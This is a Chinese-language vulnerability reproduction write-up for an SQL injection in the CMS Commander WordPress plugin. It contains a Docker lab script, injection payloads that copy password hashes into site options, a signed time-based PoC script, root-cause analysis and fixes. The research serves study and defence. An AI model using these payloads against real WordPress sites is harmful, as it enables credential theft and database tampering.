WordPress CMS Commander 插件SQL漏洞 | CVE-2026-3334概念复现&研究
0x0 背景介绍
WordPress的CMS Commander插件在所有版本(包括2.288)中,通过or_blogname、or_blogdescription和or_admin_email参数存在SQL注入漏洞。这是由于对用户提供的参数进行了不充分的转义,并且在恢复工作流程中对现有的SQL查询准备不足。这使得经过身份验证的攻击者(拥有CMS Commander API密钥访问权限)能够将额外的SQL查询追加到已存在的查询中,从而可以从数据库中提取敏感信息。
0x1 环境搭建(Ubuntu24)
1.1-Ubuntu24+Docker搭建配置
- 另存为install.sh运行
#!/bin/bash
echo "=============================================="
echo " CMS Commander SQL 注入 (CVE-2026-3334) 环境搭建脚本"
echo "=============================================="
# 检查并安装依赖
if ! command -v unzip &> /dev/null; then
echo "[*] 安装依赖工具..."
apt update && apt install -y unzip wget curl docker.io docker-compose-plugin
fi
# 检查 Docker 是否运行
if ! systemctl is-active --quiet docker; then
echo "[!] Docker 未运行,请启动 Docker 服务 (systemctl start docker)"
exit 1
fi
WORK_DIR="cmscommander-sqli-vuln"
PLUGIN_SLUG="cms-commander-client"
PLUGIN_VERSION="2.288"
WP_PORT="8090"
echo "[*] 阶段 1/5:创建漏洞复现目录..."
mkdir -p "$WORK_DIR" && cd "$WORK_DIR" || { echo "[x] 创建目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段 2/5:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
services:
db:
image: mysql:8.0
container_name: cmsc-db
environment:
MYSQL_ROOT_PASSWORD: vuln-root-pass
MYSQL_DATABASE: wordpress
MYSQL_USER: wpuser
MYSQL_PASSWORD: vuln-user-pass
volumes:
- db_data:/var/lib/mysql
command: --default-authentication-plugin=mysql_native_password
restart: always
wordpress:
image: wordpress:php7.4-apache
container_name: cmsc-wp
ports:
- "${WP_PORT}:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wpuser
WORDPRESS_DB_PASSWORD: vuln-user-pass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_plugins:/var/www/html/wp-content/plugins
- wp_uploads:/var/www/html/wp-content/uploads
depends_on:
- db
restart: always
volumes:
db_data:
wp_plugins:
wp_uploads:
EOF
echo "[*] 阶段 3/5:启动 Docker 环境..."
docker compose up -d
echo "[*] 等待服务启动(约 60 秒)..."
for i in {1..12}; do
echo -n "."
sleep 5
done
echo ""
echo "[+] 容器已启动"
echo "[*] 等待 WordPress 安装页面就绪..."
max_attempts=30
attempt=0
while [ $attempt -lt $max_attempts ]; do
status_code=$(curl -s -o /dev/null -w '%{http_code}' http://localhost:${WP_PORT}/wp-admin/install.php)
if [ "$status_code" = "200" ]; then
break
fi
echo -n "."
sleep 2
((attempt++))
done
if [ "$status_code" != "200" ]; then
echo ""
echo "[!] WordPress 启动超时,请检查日志: docker logs cmsc-wp"
exit 1
fi
echo ""
echo "[+] WordPress 已就绪"
echo "[*] 阶段 4/5:下载并部署 CMS Commander v${PLUGIN_VERSION}..."
# 构造下载链接 (WordPress 官方插件库格式)
PLUGIN_URL="https://downloads.wordpress.org/plugin/${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"
PLUGIN_ZIP="${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"
LOCAL_PLUGIN_DIR="${PLUGIN_SLUG}"
rm -rf "$LOCAL_PLUGIN_DIR" "$PLUGIN_ZIP"
echo "[*] 正在下载插件..."
if ! wget -q --show-progress "$PLUGIN_URL" -O "$PLUGIN_ZIP"; then
echo "[-] 主源下载失败,尝试备用源或检查版本号..."
# 如果官方源没有该特定版本,可能需要手动上传或从其他源获取
exit 1
fi
echo "[*] 解压插件..."
unzip -q "$PLUGIN_ZIP"
if [ ! -d "$LOCAL_PLUGIN_DIR" ]; then
echo "[-] 插件目录未生成,解压失败"
ls -la
exit 1
fi
echo "[*] 复制插件到容器..."
docker cp "$LOCAL_PLUGIN_DIR" cmsc-wp:/var/www/html/wp-content/plugins/
echo "[*] 修复权限..."
docker exec cmsc-wp chown -R www-data:www-data /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"
# 清理本地临时文件
rm -rf "$PLUGIN_ZIP" "$LOCAL_PLUGIN_DIR"
# 验证
if docker exec cmsc-wp test -f /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/cms-commander.php; then
echo "[+] CMS Commander 插件部署成功!"
else
# 有些插件主文件名可能不同,尝试列出目录确认
echo "[*] 检查插件文件结构..."
docker exec cmsc-wp ls -l /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/
# 即使主文件名不是 cms-commander.php,只要目录在通常也能被识别,继续执行
fi
echo "[*] 阶段 5/5:环境配置完成!"
cat <<EOF
==============================================
CVE-2026-3334 漏洞环境部署完成!
==============================================
访问站点:
http://localhost:${WP_PORT}
初始化步骤:
1. 首次访问上述链接,完成 WordPress 安装。
* 站点标题: CMS Commander SQLi Demo
* 用户名: admin
* 密码: admin123!@# (建议修改)
* 邮箱: admin@local.test
2. 登录后台 (http://localhost:${WP_PORT}/wp-admin)
* 进入 "插件" (Plugins) -> 启用 "CMS Commander - Manage Multiple Sites"
漏洞利用前置条件:
该漏洞是 **认证后 SQL 注入**。
您需要获取或配置 **CMS Commander API Key**。
* 通常在插件设置页面 (Settings -> CMS Commander) 可以连接主站获取 API Key。
* 或者如果您有主站控制权,在主站添加此从站时会生成 Key。
* **审计重点**: 插件代码中处理 'restore workflow' 的部分。
漏洞详情:
* 漏洞参数: or_blogname, or_blogdescription, or_admin_email
* 利用方式: 通过 API 接口发送恶意构造的参数,追加 SQL 语句。
* 参考 Payload 思路:
or_blogname=test' UNION SELECT 1, user_pass, 3, 4, 5 FROM wp_users--
下一步建议:
1. 审计 /wp-content/plugins/cms-commander-client/ 源码。
2. 搜索 'or_blogname' 或 'prepare' 关键字。
3. 编写 PoC 进行复现。
0x2 漏洞复现
SQL注入点位于 restore() 函数中,但要执行到该点,必须先成功恢复一个备份文件(绕过签名后卡在这好久)。源码流程如下:
// lib/CMSC/Backup.php 中的 restore() 函数
if($backup_file && file_exists($backup_file)){
// 解压备份、恢复数据库、覆盖配置(注入点)
}else{
return array('error'=>'Error restoring. Cannot find backup file.');
}
如果$backup_file不存在或文件不存在,函数直接返回错误,不会执行注入代码。
$backup_file必须通过task_name和result_id从cmsc_backup_tasks选项中获取,而这些都依赖一次成功的备份记录(第四次的测试中...不小心把环境还原出问题了....)
2.1-概念验证
2.1.1 概念场景 A:通过恢复接口注入 or_blogname
前置条件
•攻击者已掌握 CMS Commander API 通信所需的密钥材料(可构造合法signature,即"已认证攻击者"模型。
•攻击请求动作为 restore,并触发 overwrit 分支(正常网站应该有备份,可能实际环境不会卡在备份流程)。
- 模拟 HTTP 流量
POST / HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded
cmsc=%23%23CMSC%23%23{
"cmsc":"yes",
"cmsc_action":"restore",
"action":"restore",
"id":"1711111111",
"url":"https%3A%2F%2Fvictim.example%2F", //注意:这里需和站点相同,源码会校验
"signature":"<合法签名>",
"params":{
"username":"admin",
"task_name":"daily_backup",
"result_id":"0",
"overwrite":1,
"or_blogname":"x', option_value=(SELECT user_pass FROM wp_users WHERE ID=1) WHERE option_name='blogname' -- ",
"or_blogdescription":"normal",
"or_admin_email":"normal@example.com"
}
}
-
说明:插件在functions.php的cmsc_authenticate()中按##CMSC##{json} 协议解析正文,并在验签通过后把params传到 restore逻辑。
-
预期现象与流量特征
•响应结构通常为 <CMSCHEADER>_CMSC_JSON_PREFIX_<base64-json><ENDCMSCHEADER>。
•当注入成功时,wp_options 中 blogname/admin_email 等值可出现异常替换,或通过时间盲注引发明显响应延迟。
•SQL 执行点发生在恢复流程后半段(覆盖站点配置阶段),属于"高权限业务流程内注入"。
2.2 概念场景 B:or_admin_email 注入用于敏感信息探测
POST / HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded
cmsc=%23%23CMSC%23%23{
"cmsc":"yes",
"cmsc_action":"restore",
"id":"1711111122",
"url":"https%3A%2F%2Fvictim.example%2F",
"signature":"<合法签名>",
"params":{
"username":"admin",
"task_name":"daily_backup",
"result_id":"0",
"overwrite":1,
"or_admin_email":"a' , option_value=(SELECT concat(user_login,':',user_pass) FROM wp_users LIMIT 1) WHERE option_name='admin_email' -- "
}
}
-
这个场景更接近公告中的"可提取敏感信息"目标:
-
虽然注入语句仍在UPDATE … options,但攻击者可通过子查询把敏感字段回填到可读配置项,形成数据外带。
2.3 概念场景 C:基于插件的特殊性,我这边绕过签名和备份
- 在环境中遇到一些情况,所以打开sql监控,看看语句能否提交
root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db bash
bash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL general_log = 'ON';"
mysql: [Warning] Using a password on the command line interface can be insecure.
bash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL log_output = 'TABLE';"
mysql: [Warning] Using a password on the command line interface can be insecure.
bash-5.1# mysql -u root -pvuln-root-pass -e "TRUNCATE TABLE mysql.general_log;"
mysql: [Warning] Using a password on the command line interface can be insecure.
bash-5.1# exit
- 然后进行注入
#!/bin/bash
# 配置
TARGET="http://192.168.119.131:8090"
SECRET="test_secret_key"
TIMESTAMP=$(date +%s)
ACTION="restore"
# 1. 计算签名
SIG=$(echo -n "${TARGET}${ACTION}${TIMESTAMP}${SECRET}" | md5sum | awk '{print $1}')
# 2. 定义 Payload (这里可以随意写单引号,因为还没拼进 JSON)
# 尝试让数据库睡 5 秒
RAW_PAYLOAD="' WHERE 1=1 AND (SELECT SLEEP(5)) -- "
# 3. 构造原始 JSON 字符串 (先不编码)
# 注意:这里我们用变量占位,避免 Bash 转义问题
read -r -d '' JSON_TEMPLATE <<EOF
{
"cmsc": "yes",
"cmsc_action": "${ACTION}",
"action": "${ACTION}",
"id": "${TIMESTAMP}",
"url": "${TARGET}",
"signature": "${SIG}",
"params": {
"username": "admin",
"task_name": "Backup Now",
"result_id": 0,
"overwrite": 1,
"or_blogname": "${RAW_PAYLOAD}"
}
}
EOF
# 4. 将 JSON 转为 Base64,避免 Bash 处理特殊字符
JSON_B64=$(echo "$JSON_TEMPLATE" | base64 -w 0)
# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)
# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)
python3 - <<PYEOF
import requests
target = "${TARGET}"
body = "cmsc=##CMSC##${JSON_B64}"
print(f"[*] 发送 Payload (长度: {len(body)} bytes)...")
print(f"[*] 预期延时: 5 秒+")
try:
resp = requests.post(target, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=20)
print(f"[+] 响应状态: {resp.status_code}")
print(f"[+] 响应内容: {resp.text.strip()}")
except Exception as e:
print(f"[-] 错误: {e}")
PYEOF
- 最后数据库查询
[*] 发送 Payload (长度: 673 bytes)...
[*] 预期延时: 5 秒+
[+] 响应状态: 200
[+] 响应内容: <CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>
root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db mysql -u root -pvuln-root-pass -e "SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%SLEEP%' OR argument LIKE '%blogname%' ORDER BY event_time DESC LIMIT 3;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| event_time | argument |
+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 2026-03-25 07:11:16.721177 | 0x53454C454354206576656E745F74696D652C20617267756D656E742046524F4D206D7973716C2E67656E6572616C5F6C6F6720574845524520617267756D656E74204C494B45202725534C4545502527204F5220617267756D656E74204C494B45202725626C6F676E616D652527204F52444552204259206576656E745F74696D652044455343204C494D49542033 |
| 2026-03-25 07:11:11.387056 | 0x55504441544520574F524450524553535F5441424C455F5052454649586F7074696F6E7320534554206F7074696F6E5F76616C7565203D20272720574845524520313D3120414E44202853454C45435420534C45455028352929202D2D2027205748455245206F7074696F6E5F6E616D65203D2027626C6F676E616D6527 |
+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
- 正常注入成功结果应该是这个
<CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>
解码就是:{"success":true}
- 可以看到俩次的值,分别解码结果,足以证明语句会到数据库执行
第一个字符串解码后:
SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%SLEEP%' OR argument LIKE '%blogname%' ORDER BY event_time DESC LIMIT 3
第二个字符串解码后:
UPDATE WORDPRESS_TABLES_PREFIXoptions SET option_value = '' WHERE 1=1 AND (SELECT SLEEP(5)) -- ' WHERE option_name = 'blogname'
2.2-复现流量特征 (PCAP)
当时来来回回测了好多次,又是去掉签名又是备份机制,没抓到真正流量,不过SQL语句是明文在请求中的
图片
实际响应解码后是TURE,截图中就是备份机制

0x3 漏洞原理分析
3.1- 架构与模块定位:从API入口到数据库执行点
最先定位的是restore动作,因为 CVE 描述中明确提到"恢复工作流"。沿着这个关键词回溯后,链路非常清晰:入口验签并不等于参数安全,params 最终到达restore()时没有再次做SQL边界控制。
| 层级 | 核心文件 | 关键函数 | 在漏洞链路中的职责 |
|---|---|---|---|
| 入口层 | functions.php | cmsc_authenticate() | 解析请求、验签、建立"已认证 API 调用"上下文 |
| 路由层 | lib/CMSC/Core.php | register_action_params() | 将 restore 动作映射到 cmsc_restore_now() |
| 逻辑层 | functions.php | cmsc_restore_now() | 将 params 原样交给 CMSC_Backup::restore() |
| 驱动层 | lib/CMSC/Backup.php | restore() | 在 overwrite 恢复路径中拼接并执行 SQL(注入爆发点) |
3.2 核心入口:安全边界的错位:认证通过被误当作"参数可信"
先看入口层代码,cmsc_authenticate() 负责验签与用户上下文切换:
// functions.php
if($_cmsc_data['cmsc'] !== "yes") { return; }
$_cmsc_auth = $cmsc_core->authenticate_message(...);
...
if(isset($_cmsc_data['params']['username']) && !is_user_logged_in()){
$user = get_user_by('login', $_cmsc_data['params']['username']);
wp_set_current_user($user->ID);
}
随后动作被注册并透传参数:
// lib/CMSC/Core.php
'restore' => 'cmsc_restore_now',
...
$this->action_params = $params;
// functions.php
function cmsc_restore_now($params){
$return = $cmsc_core->backup_instance->restore($params);
}
-
预期边界是"只有持有 API 密钥的一方才能调用高危动作",这是访问控制边界;
-
但 SQL 注入需要的是数据边界(参数化、白名单、转义)。该实现把两者混为一谈
-
认证通过后,params 被视为"可直接进入 SQL 的可信数据",导致后续失守。
3.3 逻辑缺陷:恢复流程中的最后一道防线失守
真正致命点出现在 lib/CMSC/Backup.php 的 restore()
// lib/CMSC/Backup.php
if(!empty($or_blogname)) {
$query = "UPDATE " . $new_table_prefix . "options SET option_value = '$or_blogname' WHERE option_name = 'blogname'";
$wpdb->query($wpdb->prepare($query));
}
if(!empty($or_blogdescription)) {
$query = "UPDATE " . $new_table_prefix . "options SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'";
$wpdb->query($wpdb->prepare($query));
}
if(!empty($or_admin_email)) {
$query = "UPDATE " . $new_table_prefix . "options SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'";
$wpdb->query($wpdb->prepare($query));
}
- 这里的prepare()是"空 prepare"——SQL 模板里没有%s占位符,用户输入已先被拼进字符串,prepare()不再提供任何防注入价值。
- or_blogname/or_blogdescription/or_admin_email直接进入单引号上下文,攻击者可以闭合字符串并改写SET语义,注入子查询或额外表达式。
- 代码是在恢复后处理流程,执行时机稳定、权限高、且目标表固定,非常适合数据回填式外带。
- 再对照同函数中其它"正确写法",反差更明显:
// lib/CMSC/Backup.php
$query = "UPDATE " . $new_table_prefix . "options SET option_value = %s WHERE option_name = 'home'";
$wpdb->query($wpdb->prepare($query, $home));
- 这里使用%s占位,才是预期的参数化
3.4 攻击链路:从配置污染到敏感信息提取的完整闭环
在还原链路时,先判断可控参数是否到达SQL,再看它是否能"读出"数据。虽然注入点是UPDATE options,但攻击者可利用子查询把敏感数据写入可见配置字段
- 调用链总结(含注入点与爆发点):
HTTP(cmsc_action=restore)
-> functions.php::cmsc_authenticate()(验签通过)
-> lib/CMSC/Core.php::register_action_params()
-> functions.php::cmsc_restore_now($params)
-> lib/CMSC/Backup.php::restore($args)
-> [注入点] $or_blogname/$or_blogdescription/$or_admin_email 字符串拼接
-> [爆发点] $wpdb->query($wpdb->prepare($query)) 执行已污染 SQL
最大危害理论推导:
- 敏感信息泄露:利用子查询提取wp_users.user_pass、邮箱、站点密钥相关配置,回填到wp_options可读取字段。
- 站点配置篡改:修改blogname/admin_email等核心配置,影响后台运维与邮件流。
- 横向安全影响:若数据库账户权限较大,攻击面可从单表扩展到全库数据读取/破坏(取决于MySQL权限和wpdb执行策略)。
0x4 修复建议
- 1、升级最新版本:将组件升级最新版本
https://wordpress.org/plugins/cms-commander-client/ - 2、临时防护措施:
限制访问:在Nginx/Apache层对插件通信入口加IP白名单,仅允许CMS Commander 控制端出口IP;拒绝非常规来源调用restore
防火墙拦截:增加针对cmsc_action=restore且参数中出现', --, /*, select, sleep等特征的规则(注意误报豁免)
最小权限:收紧WordPress数据库账号权限,避免对非业务必要库/表的读写授权,降低注入后的横向破坏面
日志排查:检查wp_options中blogname/blogdescription/admin_email 历史变更是否出现SQL片段痕迹
更换密钥:立即轮换CMS Commander API密钥与WordPress高权限账户密码。
例外:概念验收
- 因为插件是需要收费激活的,我这边在环境中模拟激活成功,需要查询签名的验证机制
1. 正确的数据库字段名
路径:lib/CMSC/Helper.php 第319-321行
function get_random_signature()
{
if (!get_option('_cmsc_nossl_key'))
return false;
return base64_decode(get_option('_cmsc_nossl_key'));
}
2. 正确的签名公式
Signature = md5(Data + Key)
其中:
- Data =
url + action + id(直接字符串拼接) - Key =
base64_decode(_cmsc_nossl_key)(从数据库读取后base64解码)
证据来源:
-
验证算法在
lib/CMSC/Helper.php第371-372行:if (md5($data . $this->get_random_signature()) === $signature) -
数据构造在
functions.php中:$_cmsc_auth = $cmsc_core->authenticate_message( $_cmsc_data['url'] . $_cmsc_data['action'] . $_cmsc_data['id'], $_cmsc_data['signature'], $_cmsc_data['id'] );
验证时,authenticate_message 会优先检查 _cmsc_public_key 是否存在。如果存在,且 _cmsc_nossl_key 也存在,但 RSA 验证失败(因为公钥是假的)代码逻辑如下
if (function_exists('openssl_verify') && !$this->get_random_signature()) {
// RSA 分支
} else if ($this->get_random_signature()) {
// MD5 分支
}
-
_cmsc_nossl_key存在(非空),则!为 false,不会进入 RSA 分支,直接进入 MD5 分支。 -
所以实际上,只要
_cmsc_nossl_key存在,无论_cmsc_public_key是否存在,都会使用 MD5 验证(因为get_random_signature()非空)。但我测试时,_cmsc_nossl_key存在,但authenticate_message仍然失败并提示 “Authentication failed”,是因为_cmsc_public_key不存在时,代码在判断!$this->get_random_signature()之前还有别的检查
$pl_key = $this->get_master_public_key();
if (!$pl_key) {
return array(
'error' => 'Authentication failed. Deactivate and activate...'
);
}
- 首先会检查
_cmsc_public_key是否存在,如果不存在(!$pl_key),直接返回失败,根本不会进入 MD5 分支。所以 必须同时存在_cmsc_public_key才能通过初步检查,然后再根据_cmsc_nossl_key的存在与否选择 RSA 或 MD5 分支。
3. 计算示例
- 提前再容器中插入数据,以便签名校验成功
1. 插入共享密钥 _cmsc_nossl_key
docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
INSERT INTO wordpress.wp_options (option_name, option_value, autoload)
VALUES ('_cmsc_nossl_key', 'dGVzdF9zZWNyZXRfa2V5', 'no')
ON DUPLICATE KEY UPDATE option_value = VALUES(option_value);
"
2. 插入公钥占位符(确保走 MD5 分支)
即使不使用 RSA,authenticate_message 在开头会检查 _cmsc_public_key 是否存在,若不存在会直接返回认证失败。因此需要插入一个任意值(例如 dummy 的 Base64)。
docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
INSERT INTO wordpress.wp_options (option_name, option_value, autoload)
VALUES ('_cmsc_public_key', 'ZHVtbXk=', 'no')
ON DUPLICATE KEY UPDATE option_value = VALUES(option_value);
"
3. 消息 ID校验
每次的id是要大于原本的
4.验证数据:
docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
SELECT option_name, option_value FROM wordpress.wp_options
WHERE option_name IN ('_cmsc_nossl_key', '_cmsc_public_key', '_cmsc_action_message_id');
"
root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
SELECT option_name, option_value FROM wordpress.wp_options
WHERE option_name IN ('_cmsc_nossl_key', '_cmsc_public_key', '_cmsc_action_message_id');
"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-------------------------+----------------------+
| option_name | option_value |
+-------------------------+----------------------+
| _cmsc_action_message_id | 1774342906 |
| _cmsc_nossl_key | dGVzdF9zZWNyZXRfa2V5 |
| _cmsc_public_key | test_pub_key |
+-------------------------+----------------------+
root@iubuntu:~/cmscommander-sqli-vuln#
参数:
- 数据库存储的
_cmsc_nossl_key:dGVzdF9zZWNyZXRfa2V5 - 原始密钥:
test_secret_key - URL:
http://192.168.119.131:8090 - Action:
restore - ID:
1711111111
Python 计算:
import hashlib
import base64
url = "http://192.168.119.131:8090"
action = "restore"
msg_id = "1711111111"
key_b64 = "dGVzdF9zZWNyZXRfa2V5"
key = base64.b64decode(key_b64).decode()
data_to_sign = url + action + msg_id
signature = hashlib.md5((data_to_sign + key).encode()).hexdigest()
print(f"待签名字符串: {data_to_sign}")
print(f"密钥: {key}")
print(f"签名: {signature}")
输出:
待签名字符串: http://192.168.119.131:8090restore1711111111
密钥: test_secret_key
签名: e99bdc5992ed70eaf43ecd9ba90c78e5
注意事项
- 验证时会先检查
_cmsc_public_key是否存在。如果存在且_cmsc_nossl_key不存在,则走 RSA 分支。
因此,若希望使用 MD5 分支,需确保_cmsc_nossl_key存在,并且_cmsc_public_key不存在(或存在但验证失败)。 id必须大于数据库中_cmsc_action_message_id的值,否则返回Invalid message recieved。- 签名验证通过后,
_cmsc_action_message_id会被更新为本次使用的id。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)